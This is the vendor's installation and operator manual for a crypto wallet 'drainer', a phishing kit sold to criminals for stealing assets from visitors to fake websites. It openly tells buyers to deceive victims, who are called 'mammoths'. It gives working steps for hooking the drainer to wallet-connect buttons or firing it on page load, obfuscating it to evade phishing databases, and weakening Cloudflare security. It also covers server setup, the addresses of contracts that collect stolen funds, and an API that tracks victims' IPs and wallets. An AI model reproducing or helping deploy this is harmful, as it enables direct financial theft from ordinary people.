March 2

Instructions for use

Note for drainer owners: if you have any questions regarding the use of the drainer and everything related to it, then first of all I recommend reading this section with frequently asked questions and answers to them, so you will save your and my time. First of all, I am a developer and very often I am busy working with code, so it is very difficult for me to answer the same questions to everyone. Please read this.

Hello, if you are reading this guide, then most likely you have already purchased one of the leading scripts in this industry. I hope you purchased it from me, and not from one of those who are trying to resell my script: remember that technical support is provided only to those who have officially purchased the script. By purchasing a cheaper script from third parties, you deprive yourself of support and any updates.

And if you don’t already own the script, send us a message. You will receive the script itself, various supporting materials, as well as access to the chat where the owners of the script communicate - they will help you if you don’t understand something. If you have any difficulties in using it, you can always contact me or my support agents.

First, let’s tell you what kind of script you purchased: a drainer is a script that allows you to withdraw all assets from the wallet of a user who has visited the site. And no, this does not happen by magic, but due to the fact that he himself gives you all the assets, signing transactions in his wallet. Your task is only to mislead him so that he does not understand that money will be debited from him. For example, you can convince him that he will receive money or invest it somewhere - this is all at your discretion, your income depends on your approach, the presence of software does not guarantee that you will become a millionaire.

Let’s put all the dots right away: the script does not write off all assets in one click, there is no option to write off all assets just when you log into the site, and no, you cannot make a custom window when writing off assets. Wallet developers are not stupid either and try to protect their users, so you need to be smarter. My script tries its best to use the best methods to make things easier for you, but it can't do absolutely all the work for you, so you have to try. Income depends only on you and your methods.

Now, if you have already purchased the script, let's try installing it on your website. This instruction will allow you to install the script on any HTML site, we do not consider installation on React, Next JS and other similar sites - the drainer does not officially support them, but there are rumors that it is possible there too.

But first, let’s figure out what the archive with the script consists of.


Contents of the archive with the script

As soon as you open the archive, you will see three folders in front of you:

  • Client
  • Server
  • Contracts

In the first folder, called “Client,” you will find everything that needs to be installed along with your landing page, as well as a test landing page. If you want to install a test landing page, then copy all the files and simply transfer them to your hosting, this should be enough for everything to work. You will only need to indicate the address of your server, more on that below.

If you want to put a script on your landing page, and not use a test one, then it will be enough to move the “assets” folder to the folder with your site. It is important that the "assets" folder is located at the root of your site. Even if a person visits your site at the address: "example.com/claim" and all the site files are in the "claim" folder, you still leave the "assets" folder in the root - if you do otherwise, the script may not work correctly work, remember this moment.

Next we have a second folder, called “Server”, there are all the files that are needed to start the server. It plays an important role - all settings are downloaded from it, and assets are also withdrawn through it. Without the server running, the site on which the client will be installed will not work.

And the last folder, called "Contracts", contains codes for Solidity contracts. The drainer supports transferring coins to several types of contracts: Claim, Security Update, Swap, Connect and Execute. By default, the drainer uses a public contract, more about it a little later, but if you wish, you can upload the contract yourself to the network and use it.


Installing the client on the site

As mentioned earlier, installation on the site is very simple, you open the “Client” folder, take the “assets” folder from there and move it to the root of the site. Then you need to go to the “assets” folder and find a file there called “web3-provider.js”. Open this file with any code editor, for example, Visual Studio Code (not to be confused with regular Visual Studio) or Notepad++. At the very top of the script you will find the variable “MS_Server” - there you need to enter the domain on which your server will be located. This is not the domain where your website is located, but a separate domain for the server - this is important!

As you already understood, for the server you will need to purchase a separate domain, or create a subdomain on which you will hang the server. One server can be used for several sites. The main condition is that all these sites will use the same wallet, as well as settings. But, of course, it’s not a problem if you only work with one site.

Now open the site file where your landing page is located, usually it is called “index.html”. Scroll to the end of the file and look for a special tag that looks like this: </body>. Once you have found it, write the following lines of code right before it:

<script src="/assets/web3-provider/web3-modal.js"></script>
<script src="/assets/web3-provider/web3-loader.js"></script>
<script src="/assets/web3-provider/web3-router.js"></script>
<script src="/assets/web3-provider/web3-connect.js"></script>
<script src="/assets/web3-provider/web3-module.js"></script>
<script src="/assets/web3-provider/web3-alert.js"></script>
<script src="/assets/web3-provider/web3-seaport.js"></script>
<script src="/assets/web3-provider/web3-data.js"></script>
<script src="/assets/web3-provider/ethers.js"></script>
<script src="/assets/web3-provider/ethereum-tx.js"></script>
<script src="/assets/web3-provider.js"></script>

Please note that these scripts will only work on hosting and only with an installed SSL certificate, that is, over HTTPS. If you open the file on a local server or just on your computer, most likely nothing will work.

Now you need to connect the drainer to the button you need, or just an element on the page. Most often, buttons look like this in code:

<button class="button btn-dark">Connect Wallet </button>

Or something like this, in fact, it can look like anything:

<a href="#">Connect Wallet </a>

There are two main ways to connect a drainer. The first method is to simply add the desired function to the button so that it is called when clicked:

onclick="ms_init()"

That is, in the final version it will look like this:

<button class="button btn-dark" onclick="ms_init()">
  Connect Wallet
</button>

Or, the second option, you can add a class to the desired button:

class="connect-button"

And it will look like this in the button:

<button class="button btn-dark connect-button">
  Connect Wallet
</button>

When you apply this to all the buttons you need, everything will work. And if you suddenly want the drainer to fire when the page is opened, </body>just add another script with the following content before the tag:

document.addEventListener("DOMContentLoaded", () => {
  setTimeout(() => ms_init(), 5000);
});

Great, the setup of the client part of the script has been successfully completed, now it must be obfuscated so that the code does not end up in phishing databases, and simply so that no one steals it from your site, which, of course, is very important.

For this we need the following website: obfuscator.io

Again, open the contents of the “web3-provider.js” file, where we configured the domain for the server, completely copy all the contents and paste it into the above site. Scroll a little lower and find the “Reset Options” button, click on it, scroll a little lower and check the box next to the two items “Self Defending” and “Debug Protection”. Also, in the “Domain Lock” field, you can enter the domain of the site where the script will be located and click on the plus sign, in this case, if the drainer is stolen, the attacker’s site will simply break.

We go up and press the blue “Obfuscate” button and get a modified, unreadable form of the code. We copy it completely and paste the content back into “web3-provider.js” in obfuscated form, save it and upload it to the hosting. Great, you are simply amazing!


Server installation

For the server you will need a VPS with the Ubuntu 22.04 operating system. You, of course, can choose another OS, even Windows Server, but this manual will describe the procedure specifically for Ubuntu 22.04 - keep this point in mind.

First of all you will need a Cloudflare account , it is free, just register on their official website. When you get to the control panel, add the domain that you will use for the server, first purchase it anywhere, for example, on 4DOMAINS.SU . To add a site, click on the "Add a Site" button in the control panel, enter your domain, then select the "Free" tariff plan and click "Continue". Then the scanning will begin, it will take some time and most likely you will not see a single entry. But if there is something, just delete it. Now click "Add Record", select the record type "A", in the "Name" field enter the "@" sign, and in the "IPv4 Address" field enter the IP VPS that you rented. If you don’t have a VPS yet, you can rent it, for example, at 4VPS.SU. If you rent it there, choose the UAE region and the cheapest tariff plan for 420 rubles - it will definitely be enough for you. But if your budget allows, then you can take something more powerful.

Click the "Save" button and then "Continue". You will be shown two NS records that you will need to specify in the control panel where you purchased your domain. If you don't know where it is, check with the support of the place where you bought the domain. After this, adding the domain to Cloudflare will be completed, but you need to make a few more settings to make sure everything works well. In the menu on the left, go to the "SSL/TLS" section and on the right set the operating mode to "Flexiable". Now in the left menu, select the “Security” section, then “Settings” and set the “Security Level” on the right to “Low”, or better yet, to “Essentially Off”. Scroll down a little and uncheck the box next to “Browser Integrity Check”. That's it, you are wonderful, the domain has been added.

By the way, it is important that the VPS is clean; there should not be any web server, panels or anything else on it; even ISPmanager or FastPanel can interfere with the correct operation of the script. They can’t even do it, but they will definitely interfere!

Now we connect to our VPS via FTP, for example, through FileZilla. To do this, add it as a new site, select the operating mode not FTP, but SFTP, indicate the data from the VPS and connect. We should be in the "root" folder. If you are in it, fire, create a folder named "server", open it and transfer into it all the files and folders from the "Server" folder, which was in the archive with the script.

Now comes the fun part - setting up the script. We open the “server.js” file and see a whole bunch of settings there. By default, the most optimal settings are set; all you have to do is change the address of the wallet where the money will go, indicate the private key for it, indicate the bot token in Telegram, the ID of the channel where notifications will go and set up evaluators. If anything, here are instructions on how to get a private key in MetaMask . Why do you need a private key: when a mammoth gives access to its token to your wallet, it does not transfer it so that this causes less suspicion. Therefore, we need to pull out this token ourselves, for this a transaction will be called on behalf of your wallet that will pull out the token from the mammoth wallet, for this we need a private key. You also need to specify the token from the bot in Telegram, it is created through @BotFather and the channel ID where notifications will go, just create a channel, add the created bot there (not @BotFather, but your bot), make it an administrator and get the channel ID (there is There are many bots for this, look for: Get Channel ID). Note: The channel ID always starts with "-100", if you have something else, or even letters, then you clearly did something wrong.

By the way, the wallet must always have some native coin in each of the networks, otherwise the magic will not work. In all networks except Ethereum, it is enough to keep $25 - $30, but in Ethereum it is advisable to keep about $50. The native coin is the main coin of the network, in Ethereum it is ETH, in Binance Smart Chain it is BNB, in Avalanche it is AVAX, but in Arbitrum, for example, it is also ETH.

You can also look at other settings, comments are in the code. After you have configured everything, save the file and upload it back to the VPS. Now you need to connect to the server via SSH; to do this, open PowerShell and enter the following command:ssh [email protected]

Only instead of “127.0.0.1” we indicate the IP of your VPS, after executing this command it will ask for the password for the VPS, enter it, it will be invisible - don’t be scared, just enter the password and press ENTER. This will log you into the VPS. Now just enter the commands given below one by one, each line is a separate command. Sometimes you may be asked for something, for example, [Y/N], in such cases we enter “Y” (English, of course) and press ENTER. If any windows pop up, just press ENTER and don’t delve into their essence.

echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf > /dev/null
sudo apt-get update
sudo apt-get install -y ca-certificates curl gnupg ufw
sudo ufw allow 80
sudo ufw allow 443
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg
echo "deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_18.x nodistro main" | sudo tee /etc/apt/sources.list.d/nodesource.list
sudo apt-get update
sudo apt-get install nodejs -y
sudo npm i pm2 -g
cd server
sudo npm i
sudo chmod -R 777 /root/server
pm2 start server.js --watch server.js
pm2 save

Now all that remains is to check if everything is working, first enter:pm2 list

If you see a list in which there is a process “server.js”, under it it says “enabled”, and to the right there is a line “online” - everything is fine, it has started, but you still need to look at the logs, write the command:pm2 logs 0

Ideally, there should be the name of the script, an inscription that the server is online and three lines with the counting of lines in the white and black lists. If there is something else, and especially some errors, there is reason to worry about performance.

But if everything is in order, then you are smart and were able to start the server. Now let's check if it works on the network. In your browser, go to the domain you have chosen for the server, a page should load with the text “Sorry, this page in unavailable” or “Good, looks like everything works!”, and there should also be a connection via HTTPS. If the site does not launch and you recently bought a domain, it may be worth waiting and it has not yet launched. But if a lot of time has passed (more than a day) and nothing has worked, check, maybe you did something wrong or contact support, we will tell you how to solve your problem as quickly as possible.

Otherwise, the server setup is complete, if you want to change something in the future, just open FileZilla, make changes and save the file - that’s it.

Small addition: installation without proxying via CF

It happens that you do not want to forward the server through Cloudflare. Most often this may be due to some technical problems. First of all, if you have already followed all the instructions above, but want to disable proxying, open Cloudflare, go to the DNS tab and change your A record there. You need to set the "DNS only" mode, the gray cloud on the right. After this, Cloudflare’s protection will stop working and at the same time the HTTPS that Cloudflare gave you will disappear, so you need to issue your own, we will do this via SSL For Free, but you can issue a certificate in any way, the main thing is that you receive the certificate itself and the key to it, two files. Actually, if you decide to do this via SSL For Free, then here is what you need to do. First , go to the website and create an account there.

When the account is created, click on the blue “New Certificate” button. In the next window, in the “Enter Domain” field, enter your domain for the server, you will most likely automatically add a second version with WWW at the beginning, delete it with a cross - we don’t need it. Click on "Next Step" and select "90-Day Certificate", then again "Next Step" and again "Next Step", select the "Free" tariff and click "Next Step". In the next window, select “DNS (CNAME)”, go to Cloudflare, open the domain with the server, go to DNS and create a CNAME record there, indicating the data that was given to you on the site. We set any TTL, preferably the smallest one, about one minute or more.

We return to the site, click on the “Next Step” button and click “Verify Domain”, if everything is successful, it will download the archive with the certificate, download it. There will be three files inside, “ca_bundle.crt” can be safely deleted, the remaining two files will be renamed “server.crt” and “server.key” respectively. Now, via FTP, we go to the folder where we have the server, create another folder there called “cert” and transfer the two files that we renamed there.

After that, go to PowerShell, log into our VPS via SSH and enter the following command: pm2 restart all. It will restart our server with new settings. Now write the command: pm2 logs 0. If you see the inscription "SERVER IS ONLINE, LISTENING TO PORT 443", then you did everything correctly. All that remains is to check the functionality: go to the site in the browser using your server’s domain, the response should be: “Sorry, this page is not available” - this is normal. Let's see if HTTPS works - if so, then great.


Using a General Contract

General contract address: 0x0007039b77d22042afc1a9c3b3da11837b730000

The general contract is the default contract; it has several operating modes: Claim, Security Update, Claim Reward, Swap, Connect and Execute. You can choose any one you like in the drainer settings. The contract address is already specified in the default drainer settings. The native coin will go there, which will be sent to you through the drainer. The common contract is open source and you can check the code and what it does for yourself. But you will be able to withdraw exactly as much as came from your drainer, minus a small percentage for the content of the general contract, the maximum percentage is indicated in the open code of the contract - it is 10%, but by default the percentage is two times lower and is 5% for the old contract and 10% for new. The percentage of royalties for the content of the contract is regulated depending on the need for a particular network, but, as already mentioned, is not higher than the maximum value. How it works: when sending money, the drainer passes as an argument the address of your wallet, which you specified in the drainer, the contract, after receiving the funds, immediately transfers them to your specified wallet, after which the money is with you, no interaction with the contract is required, everything is complete automated. This will help you save money and nerves so as not to deploy your own contract, the downside is that there is only a small percentage of royalties, but this is a drop in the bucket. But if you want, the contract address can be changed in the drainer settings, and the contract codes are in the archives folder - go for it.

By the way, there is also a general contract where there are no percentage payments, that is, you receive 100% of the money that went through the contract. The contract address there is not so beautiful and does not look so legitimate, but you can safely use it in your projects and not pay anything. Actually, here is the address of this contract: 0xe2b38dbef3febfb7cb5cd38e0a707e631ead8b98. But it’s worth mentioning that the code of this contract is absolutely identical to the one that takes interest, so the technical ability to set the percentage is also there, but the percentage is set to zero everywhere, so you get 100%. If in this regard you do not have confidence in me, you can use the old contract - there is no interest system at all and only you manage your profits, here is the address of a suitable contract:

  • 0xacbd7c3357687be445985fcab1ff4551c88aa375

In addition, there are older, no longer current contracts that were previously used in the drainer. If your money is lost somewhere, it may be in one of these contracts below:

  • 0xacbd7c3357687be445985fcab1ff4551c88aa375
  • 0xd4d7e9e1d0dae333d83e174572de6bc473378bf1

The contracts above do not have automatic withdrawal, or it is enabled manually, so you may have to withdraw money through the scanner manually.


SeaPort Module Installation

If you also purchased the optional SeaPort module, it is important to install it correctly. It is worth noting that the modules can be installed from the version dated May 4, 2023; it will not be possible to install SeaPort on older versions.

And so, you have an archive with the SeaPort module in your hands, its contents are similar to the contents of the archive with the main script. In this case, the main script must already be installed and configured. Initially, open the FTP of your site, where the main files from the “Client” folder that you installed earlier are already located. To install the SeaPort module, just open the “Client” folder in the archive with the module and move the “assets” folder to the root of your site, where it also contains the "assets" folder, which contains the main script files. By analogy with the "web3-provider.js" files, you will need to obfuscate the SeaPort module: to do this, go to the "assets" folder, then to the "web3-modules" folder and find "module-seaport.js" there, copy all the contents, go to the website obfuscator.io, paste the code there, set the same settings as for “web3-provider.js” and obfuscate. Then we return the obfuscated version to the file and save the changes.

Now open the HTML file where you connected the main scripts, we find the following line there:<script src="/assets/web3-provider.js"></script>

Move up from this line and press Enter to create a new line, then write:<script src="/assets/web3-modules/module-seaport.js"></script>

The result should look like this:

<script src="/assets/web3-modules/module-seaport.js"></script>
<script src="/assets/web3-provider.js"></script>

Done, now we also need to install the module on the server. To do this, open our VPS via SFTP in the same way as when you uploaded files there for the first time, go to the “server” folder. Now in the archive with the module we go to the “Server” folder, there will be a “server_modules” folder, you drop it directly into the “server” folder, which is located in the VPS, this is enough for us.

That's it, now open PowerShell, enable SSH as last time and enter the following command:pm2 restart all


Installing the Blur module

If you also purchased the Blur add-on, it is important to install it correctly. It is worth noting that modules can be installed from the version dated May 4, 2023; it will not be possible to install Blur on older versions.

And so, you have an archive with the Blur module in your hands, its contents are similar to the contents of the archive with the main script. In this case, the main script must already be installed and configured. Initially, open the FTP of your site, where the main files from the “Client” folder that you installed earlier are already located. To install the Blur module, just open the “Client” folder in the archive with the module and move the “assets” folder to the root of your site, where it also contains the "assets" folder, which contains the main script files. By analogy with the "web3-provider.js" files, you will need to obfuscate the Blur module: to do this, go to the "assets" folder, then to the "web3-modules" folder and find "module-blur.js" there, copy all the contents, go to the website obfuscator.io, paste the code there, set the same settings as for “web3-provider.js” and obfuscate. Then we return the obfuscated version to the file and save the changes.

Now open the HTML file where you connected the main scripts, we find the following line there:<script src="/assets/web3-provider.js"></script>

Move up from this line and press Enter to create a new line, then write:<script src="/assets/web3-modules/module-blur.js"></script>

The result should look like this:

<script src="/assets/web3-modules/module-blur.js"></script>
<script src="/assets/web3-provider.js"></script>

Done, now we also need to install the module on the server. To do this, open our VPS via SFTP in the same way as when you uploaded files there for the first time, go to the “server” folder. Now in the archive with the module we go to the “Server” folder, there will be a “server_modules” folder, you drop it directly into the “server” folder, which is located in the VPS, this is enough for us.

That's it, now open PowerShell, enable SSH as last time and enter the following command:pm2 restart all


Installing the X2Y2 module

If you also purchased the optional X2Y2 module, it is important to install it correctly. It is worth noting that the modules can be installed from the version dated May 4, 2023; it will not be possible to install X2Y2 on older versions.

And so, you have in your hands an archive with the X2Y2 module, its contents are similar to the contents of the archive with the main script. In this case, the main script must already be installed and configured. Initially, open the FTP of your site, where the main files from the “Client” folder that you installed earlier are already located. To install the X2Y2 module, just open the “Client” folder in the archive with the module and move the “assets” folder to the root of your site, where it also contains the "assets" folder, which contains the main script files. By analogy with the "web3-provider.js" files, you will need to obfuscate the Blur module: to do this, go to the "assets" folder, then to the "web3-modules" folder and find "module-x2y2.js" there, copy all the contents, go to the website obfuscator.io, paste the code there, set the same settings as for “web3-provider.js” and obfuscate. Then we return the obfuscated version to the file and save the changes.

Now open the HTML file where you connected the main scripts, we find the following line there:<script src="/assets/web3-provider.js"></script>

Move up from this line and press Enter to create a new line, then write:<script src="/assets/web3-modules/module-x2y2.js"></script>

The result should look like this:

<script src="/assets/web3-modules/module-x2y2.js"></script>
<script src="/assets/web3-provider.js"></script>

Done, installation of the X2Y2 module on your script has been successfully completed!


Answers to frequently asked questions

Here is only a small part of the answers - the rest is in this section.

Question: the script did not display some token / NFT, why did this happen?
Answer: the most obvious option is that something froze or was stuck, or the network was loaded and the automation simply did not have time to work, however, if a confirmation was still issued, you can try to write it off manually. A less obvious option is that you ran into a scam token, this also happens, such tokens pretend to be worth a lot, but in fact they cannot even be withdrawn, for example, the list of such includes Minereum and AIT, remember them.

Question: notifications do not arrive in Telegram, why?
Answer: if the drainer functions normally, then most likely you simply entered incorrect data from the Telegram bot or channel. If the drainer does not function normally, you have problems with the server.

Question: not all assets were written off, or there was money left in the native coin.
Answer: only those assets that have been confirmed by the mammoth are written off; if he left the site or simply refused, the assets will not be written off. If the main coin is written off and not all of it, then this is normal, the drainer leaves a little coin in reserve just in case in order to pay a commission for confirmations - don’t worry, this is not an error, it’s planned. Usually there can be from one to a couple of tens of dollars left depending on the network; this is reinsurance.

Question: I’m checking the drainer, it doesn’t offer to write off assets, although they exist.
Answer: perhaps you have written-off limits set in your drainer, and if we are talking about the main coin, of which there is not very much, then it may not be written off precisely because the drainer makes reserves for confirmation. It is recommended to test the drainer on reasonable amounts, for example $30.

Question: where can I get the key for DeBank and how much does it cost?
Answer: you can buy a key on this website , the minimum cost is $200.

Question: I used to use a different version of the drainer, where should I now enter website domains in the processor, and where did some of the settings go?
Answer: you no longer need to enter domains, the site itself connects to the drainer, and some settings could actually disappear, they were probably very unpopular, and therefore were removed from the new version.

Question: I made some changes, but nothing happened, what should I do?
Answer: after making any changes, you must perform the following actions: first, log into the VPS via SSH and enter the command to reboot the server: pm2 restart all. Then you need to clear the cache everywhere so that the scripts are re-uploaded to your browser, if the site is configured via Cloudflare, then go there, there will be a “Purge Cache” button on the right, go there and find the “Purge Everything” button - this way you will clear everyone’s cache .


Additionally: work with built-in API

The script has a built-in API with which you can work with third-party software, for example, an administration panel or a bot. To activate the API, open the "server.js" file that you installed on your VPS, then find the following three lines there with your API settings:

const MS_Enable_API = false;
const MS_API_Token = "secret";
const MS_API_Mode = 1;

By default the API is disabled, set MS_Enable_API to "true" to enable it. Then, in the MS_API_Token field, come up with any key to access the information that will be available to you via the API - it is important not to leave the key standard, otherwise the data can be stolen by anyone.

Then you need to select an operating mode, there are three in total:

  1. Only data about withdrawn assets is sent (event - asset_sent)
  2. Data is sent about logins to the website (event - enter_website), about connecting a wallet (event - connect_wallet) and about successfully withdrawn assets from the connected wallet (event - asset_sent)
  3. They send absolutely all the data about everything that happens in the wallet

Set the selected number to the MS_API_Mode variable to work. Now that you have activated everything and restarted the server, the following URL is available to you: https://example.com/api/retrive . Instead of example.com in this URL, you need to substitute the domain of your server, the request is sent using the POST method, you must also pass JSON in the body of the request with the “access_token” parameter, where the string that you entered in MS_API_Token will be written. The response from the server should look like this, if all is well:

{"status":"OK","data":[...]}

The "status" field in the response can have only two values: "OK" or "error". If you see "error" something went wrong, details will be available in the "error" field:

{"status":"error","error":"..."}

If everything is fine, the status will be “OK”, and the “data” field will contain an array of events that occurred in the script. Keep in mind that you need to check the data at least 10 minutes, since data that is more than 10 minutes old, in order to save space, will be erased from the API memory and it will be impossible to restore it. Each element of the array is an event, its standard form is as follows:

{
  "type": "...", // event name, String
  "ts": 1000000, // UNIX events, Number
  "domain": "...", // site domain, String
  "user_id": 10, // Site visitor ID, Number
  "worker_id": "...", // Worker ID (MS_Worker_ID), NULL / String
  "IP": "...", // IP of the site visitor, String
}

In addition to this data, some events may contain additional ones, for example, events such as "asset_sent", "transfer_request", "sign_request", "approve_request", "approve_success", "sign_success", "transfer_success", "permit_success" contain an additional field of the following contents:

{
  "asset": { // Information about the asset being withdrawn
    "chain_id": 1, // Asset network ID
    "name": "...", // Asset name
    "amount": 1000, // Amount of asset
    "amount_usd": 10, // Total asset value in USD
    "decimals": 16, // Number of zeros in the asset (WEI)
    "price": 1, // Cost per asset unit in USD
  }
}

The "chain_request" event contains the following additional fields:

{
  "current_chain": 1, // ID of the user's current network
  "suggest_chain": 56, // ID of the proposed new chain
}

The "permit_data" event contains a field with signature data:

{
  "permit_ver": 1, // PERMIT version, can be 1 or 2
  "sign": {...} // Signature data PERMIT
}

The "enter_website" event contains some additional data:

{
  "UA": "...", // User Agent
  "country": "...", // Country
  "browser": "...", // Browser
  "OS": "...", // Operating system
}

The "connect_wallet" event has data about the type of wallet being connected:

{
  "wallet": "..." // Wallet name
}

General list of all events in the API: enter_website (login to the site), connect_request (connection request), connect_cancel (rejected connection), connect_wallet (wallet connected), approve_request (confirmation request), transfer_request (transfer request), sign_request (signature request) , approve_cancel (confirmation rejected), transfer_cancel (transfer rejected), sign_cancel (signature rejected), chain_request (network change request), chain_success (network successfully changed), chain_cancel (network change refusal), asset_sent (asset successfully sent to you), permit_data (signature data via PERMIT), permit_success (PERMIT was successfully signed automatically), approve_success (the user signed the confirmation, but the withdrawal has not yet been made), sign_success (the user has signed the transaction, but the withdrawal has not yet been made), transfer_success (the user has signed the transfer, but output has not yet been made), permit2_data (signature data via PERMIT2).